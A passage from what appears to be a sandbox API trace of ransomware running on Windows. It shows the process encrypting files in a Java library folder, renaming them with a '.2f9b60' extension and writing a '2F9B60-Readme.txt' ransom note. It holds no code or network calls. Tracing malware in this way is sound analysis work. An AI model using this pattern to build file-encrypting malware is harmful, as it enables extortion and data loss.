Flags=0x0, BaseAddress=0x1b8648b0) returned 1 Thread: id = 2064 os_tid = 0x1340 [0138.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1ced9470 [0138.096] wcscpy (in: _Dest=0x1ced9470, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" [0138.096] wcscat (in: _Dest=0x1ced9470, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\" [0138.096] wcscat (in: _Dest=0x1ced9470, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*" [0138.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f3e0 [0138.096] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*", lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced62e0 [0138.097] wcscmp (_String1=".", _String2=".") returned 0 [0138.097] FindNextFileW (in: hFindFile=0x1ced62e0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.097] wcscmp (_String1="..", _String2=".") returned 1 [0138.097] wcscmp (_String1="..", _String2="..") returned 0 [0138.097] FindNextFileW (in: hFindFile=0x1ced62e0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0138.097] FindClose (in: hFindFile=0x1ced62e0 | out: hFindFile=0x1ced62e0) returned 1 [0138.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f3e0) returned 1 [0138.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9470) returned 1 [0138.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ce50) returned 1 Thread: id = 2065 os_tid = 0x1344 [0138.103] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\calendars.properties")) returned 0x20 [0138.104] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties", dwFileAttributes=0x20) returned 1 [0138.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\calendars.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e80 [0138.105] GetFileSizeEx (in: hFile=0x1e80, lpFileSize=0x2541fc60 | out: lpFileSize=0x2541fc60*=1232) returned 1 [0138.105] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x4cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.105] ReadFile (in: hFile=0x1e80, lpBuffer=0x2541fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2541fc28, lpOverlapped=0x0 | out: lpBuffer=0x2541fbe0*, lpNumberOfBytesRead=0x2541fc28*=0x4, lpOverlapped=0x0) returned 1 [0138.108] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0138.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0138.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0138.108] NtQuerySystemTime (in: CurrentTime=0x2541fb20 | out: CurrentTime=0x2541fb20*=132462177433558000) returned 0x0 [0138.108] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x2ef647fa [0138.108] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x678c53b0 [0138.108] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x6c938ff [0138.108] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x436a0c51 [0138.108] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x410b5fd0 [0138.108] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x48d2378b [0138.108] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x653a62cb [0138.108] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x55402e1e [0138.108] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x6b23a524 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x381716c4 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x6962a5f7 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x39b2204c [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x63d4ee39 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x29d7d131 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0xf9916c1 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x65985b74 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x78830b0a [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x14d3c3cd [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x114e5cce [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x3ecd8007 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x3e6ea758 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x51f1ba8c [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x207f4a22 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x68eaca2d [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x6e7fba62 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x2d1dd94d [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x7c56e21c [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x91c3b57 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x7482aa56 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0x50ac8f42 [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0xb97635e [0138.109] RtlRandomEx (in: Seed=0x2541fb10 | out: Seed=0x2541fb10) returned 0xaae2b71 [0138.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0138.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0138.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0138.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0138.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0138.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0138.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cbd170 [0138.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb9560 [0138.119] ReadFile (in: hFile=0x1e80, lpBuffer=0x41cbd170, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x2541fb10, lpOverlapped=0x0 | out: lpBuffer=0x41cbd170*, lpNumberOfBytesRead=0x2541fb10*=0x4d0, lpOverlapped=0x0) returned 1 [0138.119] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.119] WriteFile (in: hFile=0x1e80, lpBuffer=0x41cb9560*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2541fb14, lpOverlapped=0x0 | out: lpBuffer=0x41cb9560*, lpNumberOfBytesWritten=0x2541fb14*=0x4d0, lpOverlapped=0x0) returned 1 [0138.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0138.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0138.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0138.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb9560) returned 1 [0138.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cbd170) returned 1 [0138.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda0430 [0138.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0138.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0138.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda0370 [0138.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0138.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0138.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0138.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b82f830 [0138.126] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0138.126] WriteFile (in: hFile=0x1e80, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2541fc30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2541fc30*=0x11a, lpOverlapped=0x0) returned 1 [0138.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0138.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0138.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205a5f0 [0138.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0138.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4a0 [0138.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0138.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9ce50 [0138.135] sprintf (in: _Dest=0x1cd9ce50, _Format="%c%c" | out: _Dest="7a") returned 2 [0138.135] sprintf (in: _Dest=0x1cd9ce52, _Format="%c%c" | out: _Dest="88") returned 2 [0138.135] sprintf (in: _Dest=0x1cd9ce54, _Format="%c%c" | out: _Dest="06") returned 2 [0138.135] sprintf (in: _Dest=0x1cd9ce56, _Format="%c%c" | out: _Dest="06") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce58, _Format="%c%c" | out: _Dest="18") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce5a, _Format="%c%c" | out: _Dest="c0") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce5c, _Format="%c%c" | out: _Dest="2d") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce5e, _Format="%c%c" | out: _Dest="35") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce60, _Format="%c%c" | out: _Dest="6d") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce62, _Format="%c%c" | out: _Dest="c8") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce64, _Format="%c%c" | out: _Dest="4c") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce66, _Format="%c%c" | out: _Dest="57") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce68, _Format="%c%c" | out: _Dest="28") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce6a, _Format="%c%c" | out: _Dest="db") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce6c, _Format="%c%c" | out: _Dest="de") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce6e, _Format="%c%c" | out: _Dest="9c") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce70, _Format="%c%c" | out: _Dest="6a") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce72, _Format="%c%c" | out: _Dest="f6") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce74, _Format="%c%c" | out: _Dest="7d") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce76, _Format="%c%c" | out: _Dest="c1") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce78, _Format="%c%c" | out: _Dest="d1") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce7a, _Format="%c%c" | out: _Dest="49") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce7c, _Format="%c%c" | out: _Dest="4e") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce7e, _Format="%c%c" | out: _Dest="b1") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce80, _Format="%c%c" | out: _Dest="e3") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce82, _Format="%c%c" | out: _Dest="d1") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce84, _Format="%c%c" | out: _Dest="a9") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce86, _Format="%c%c" | out: _Dest="da") returned 2 [0138.136] sprintf (in: _Dest=0x1cd9ce88, _Format="%c%c" | out: _Dest="e1") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce8a, _Format="%c%c" | out: _Dest="90") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce8c, _Format="%c%c" | out: _Dest="b6") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce8e, _Format="%c%c" | out: _Dest="5a") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce90, _Format="%c%c" | out: _Dest="82") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce92, _Format="%c%c" | out: _Dest="ed") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce94, _Format="%c%c" | out: _Dest="66") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce96, _Format="%c%c" | out: _Dest="9d") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce98, _Format="%c%c" | out: _Dest="d4") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce9a, _Format="%c%c" | out: _Dest="3e") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce9c, _Format="%c%c" | out: _Dest="01") returned 2 [0138.137] sprintf (in: _Dest=0x1cd9ce9e, _Format="%c%c" | out: _Dest="87") returned 2 [0138.137] RtlInitAnsiString (in: DestinationString=0x2541fca8, SourceString="7a88060618c02d356dc84c5728dbde9c6af67dc1d1494eb1e3d1a9dae190b65a82ed669dd43e0187" | out: DestinationString="7a88060618c02d356dc84c5728dbde9c6af67dc1d1494eb1e3d1a9dae190b65a82ed669dd43e0187") [0138.137] RtlAnsiStringToUnicodeString (in: DestinationString=0x2541fc78, SourceString="7a88060618c02d356dc84c5728dbde9c6af67dc1d1494eb1e3d1a9dae190b65a82ed669dd43e0187", AllocateDestinationString=1 | out: DestinationString="7a88060618c02d356dc84c5728dbde9c6af67dc1d1494eb1e3d1a9dae190b65a82ed669dd43e0187") returned 0x0 [0138.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050c9d0 [0138.137] RtlFreeAnsiString (AnsiString="7") [0138.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ce50) returned 1 [0138.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0138.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a290) returned 1 [0138.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0138.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0370) returned 1 [0138.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0138.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0430) returned 1 [0138.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0138.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0138.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0138.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0138.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4b890 [0138.139] wcscat (in: _Dest=0x1cf4b890, _Source="7a88060618c02d356dc8" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\7a88060618c02d356dc8") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\7a88060618c02d356dc8" [0138.139] wcscat (in: _Dest=0x1cf4b890, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\7a88060618c02d356dc8.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\7a88060618c02d356dc8.2f9b60" [0138.139] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\7a88060618c02d356dc8.2f9b60", NtPathName=0x2541fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\7a88060618c02d356dc8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0138.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050ca80 [0138.139] NtSetInformationFile (FileHandle=0x1e80, IoStatusBlock=0x2541fcf0, FileInformation=0x2050ca80, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0138.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ca80) returned 1 [0138.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf493f0) returned 1 [0138.141] NtQueryInformationFile (in: FileHandle=0x1e80, IoStatusBlock=0x2541fcb8, FileInformation=0x2541fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2541fcb8, FileInformation=0x2541fcc8) returned 0x0 [0138.141] NtSetInformationFile (FileHandle=0x1e80, IoStatusBlock=0x2541fcb8, FileInformation=0x2541fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0138.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b890) returned 1 [0138.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c9d0) returned 1 [0138.143] FlushFileBuffers (hFile=0x1e80) returned 1 [0138.549] CloseHandle (hObject=0x1e80) returned 1 [0138.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420610b0 [0138.655] wcscpy (in: _Dest=0x420610b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0138.655] wcscat (in: _Dest=0x420610b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0138.656] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0xffffffff [0138.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0145.058] WriteFile (in: hFile=0x2ec, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2541fb70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2541fb70*=0xba9, lpOverlapped=0x0) returned 1 [0146.119] CloseHandle (hObject=0x2ec) returned 1 [0147.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420610b0) returned 1 [0147.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867dc0) returned 1 Thread: id = 2066 os_tid = 0x1348 [0138.122] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar")) returned 0x20 [0138.129] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar", dwFileAttributes=0x20) returned 1 [0138.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e70 [0138.130] GetFileSizeEx (in: hFile=0x1e70, lpFileSize=0x3579fda0 | out: lpFileSize=0x3579fda0*=3556391) returned 1 [0138.130] SetFilePointerEx (in: hFile=0x1e70, liDistanceToMove=0x364423, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.130] ReadFile (in: hFile=0x1e70, lpBuffer=0x3579fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3579fd68, lpOverlapped=0x0 | out: lpBuffer=0x3579fd20*, lpNumberOfBytesRead=0x3579fd68*=0x4, lpOverlapped=0x0) returned 1 [0138.144] SetFilePointerEx (in: hFile=0x1e70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0138.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0138.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0138.145] NtQuerySystemTime (in: CurrentTime=0x3579fc60 | out: CurrentTime=0x3579fc60*=132462177433870000) returned 0x0 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x2871587d [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x6dc2aa0c [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x7e2c20fa [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x6726af85 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x3f472c1f [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x4954643a [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x538e34d5 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x4979eb34 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x428b2208 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x430772eb [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x2f740296 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x25ee3650 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x7138aa0b [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x119c07d3 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x3b04e4d0 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x43e5f630 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x2512d45e [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x5e923f5 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x3fc0f1d0 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) 